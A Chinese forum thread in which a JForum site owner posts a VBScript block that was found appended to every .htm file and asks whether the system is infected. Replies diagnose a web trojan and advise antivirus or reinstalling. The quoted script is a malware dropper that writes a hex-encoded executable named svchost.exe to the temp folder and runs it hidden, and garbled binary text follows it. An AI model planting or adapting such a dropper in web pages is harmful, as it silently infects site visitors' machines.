大家帮忙看看,是不是系统中毒了???在线等,急,急。。

hellonight 2012-08-28 11:00:17
今天早晨,打开JForum论坛程序,发现每个htm文件的文件末尾都加上了一段这样的脚本,我看不懂什么意思,请大家帮忙看看啊!!!

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT><!--{氱y圴,崫b釗b?府d*M岄?m礣驐I賉3wp?-|7舶喬?~D*?0V$紇掐匒:3,N9胺櫜Rh7鞳A〗藏群h滿O?:j剅?闂窐)羉;选?2闅挣姫?琦蟎q礲MSe?9?禔癓S锏篗~?5墴戼6z5/S:?3Rv枾&
籃x??.?蜷丏?=v?&
A?闠讵闤p?協r}擘鰷C?詀Ob?
2毷蜺L?&tS?跈\056G檥
...全文
156 5 打赏 收藏 转发到动态 举报
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
yangkai655 2012-08-28
  • 打赏
  • 举报
回复
好像乱码了!重装系统吧!
任第一 2012-08-28
  • 打赏
  • 举报
回复
果断中毒了。建议安装nod32或是小红伞。
e241138 2012-08-28
  • 打赏
  • 举报
回复
显然被挂马了
scbb 2012-08-28
  • 打赏
  • 举报
回复
断网,杀毒。
不行就只能重装系统了。。。
cscript 2012-08-28
  • 打赏
  • 举报
回复
显然是,楼主赶快处理

svchost.exe被注入东西了

81,092

社区成员

发帖
与我相关
我的任务
社区描述
Java Web 开发
社区管理员
  • Web 开发社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧